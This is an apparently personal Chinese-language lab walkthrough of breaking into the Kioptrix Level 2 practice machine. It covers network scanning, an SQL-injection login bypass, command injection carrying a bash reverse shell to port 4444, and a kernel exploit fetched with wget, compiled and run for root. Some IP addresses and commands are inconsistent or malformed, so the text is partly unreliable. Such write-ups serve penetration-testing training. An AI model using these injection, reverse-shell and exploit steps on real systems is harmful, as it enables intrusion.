实验环境
攻击者 Kali 192.168.192.128
受害者 Kioptrix 2 IP未知
攻击者和受害者在同一网段
1. 信息收集
nmap -sn 192.168.192.0/24
受害者IP为192.168.192.152
收集受害者服务详情
nmap -sV -A 192.168.192.152
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
631/tcp open ipp CUPS 1.1
995/tcp open status 1 (RPC #100024)
3306/tcp open mysql MySQL (unauthorized)
用enum4linux检测
enum4linux 192.168.192.152
没什么用
用nikto测试
nikto -host=http://192.168.192.152
没什么用
进行Fuzz测试
export URL="http://192.168.192.152/FUZZ"
#模糊测试目录 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
#模糊测试文件 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
仍然没有结果
2. 漏洞发现和利用
我们先访问HTTP服务
看起来是SQL注入
先尝试一下弱密钥 没有成功
再尝试一下万能注入
我们进去了
看起来是命令执行漏洞
先试一下正常输入 127.0.0.1
再试一下别的输入
嗯 确实是命令执行漏洞
Kali端监听4444端口
输入127.0.0.1;bash -c ‘bash -i >& /dev/tcp/192.168.2.134/4444 0>&1’
getshell
3. 后渗透阶段
uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux
file /bin/bash
/bin/bash: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
我们还是先尝试内核提权
searchsploit linux 2.6 centos
攻击端
cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c /root/Desktop
cd /root/Desktop
python -m httpserver 8089
受害者
cd /tmp
wget http://192.168.192.152:8089/9542.c
gcc 9542.c -o exploit
./exploit
提权成功